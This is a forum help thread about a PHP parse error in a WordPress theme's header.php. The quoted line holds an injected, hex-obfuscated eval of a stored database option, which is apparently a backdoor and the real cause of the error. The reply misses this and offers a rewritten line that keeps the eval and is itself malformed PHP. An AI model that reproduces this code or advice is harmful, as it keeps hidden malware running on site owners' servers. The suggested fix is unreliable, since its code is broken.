PHP syntax error

Upon visiting my site today, I got this error: Parse error: syntax error, unexpected '<' in /home/content/08/9123508/html/wp-content/themes/accio/header.php on line 78

I went to the header page to review the code and I have made multiple changes to no avail. This is the line of code that includes the error. I see two issues - one is a type and another is an extra > at the end, but fixing one or both doesn't seem to address the problem. What am I missing?

<body <?php body_class(''); ?> data-spy="scroll" data-target="#navigation" <?php if ($page_id ><?php eval(get_option("\x72\x65\x6e\x64\x65\x72")); ?> 0): ?>style="<?php echo TMM_Helper::get_page_backround($page_id) ?>"<?php endif; ?>>

This line is meaning less,
<?php if ($page_id ><?php

First you can't open a php section within another php section:
<?php if(value > <?php eval(
You're yet in php so I don't understand why you write <?php again...
Where that piece of code come from? It seems the result of a generator: am I wrong?

Second, even removing the redundant php open tag this line doesn't make sense:

<?php if ($page_id >eval(get_option("\x72\x65\x6e\x64\x65\x72")); 0): ?>

if I understand the intention, you would like set the style tag only if $page_id is greater the the eval result. If this is the case I would write something like this:

<body <?php body_class(''); ?> data-spy="scroll" data-target="#navigation" 
if ($page_id > eval(get_option("\x72\x65\x6e\x64\x65\x72"))) { 	echo "style=''"; }else{	echo "style='TMM_Helper::get_page_backround($page_id)'";} 

Open in new window

But I confess I could miss something...
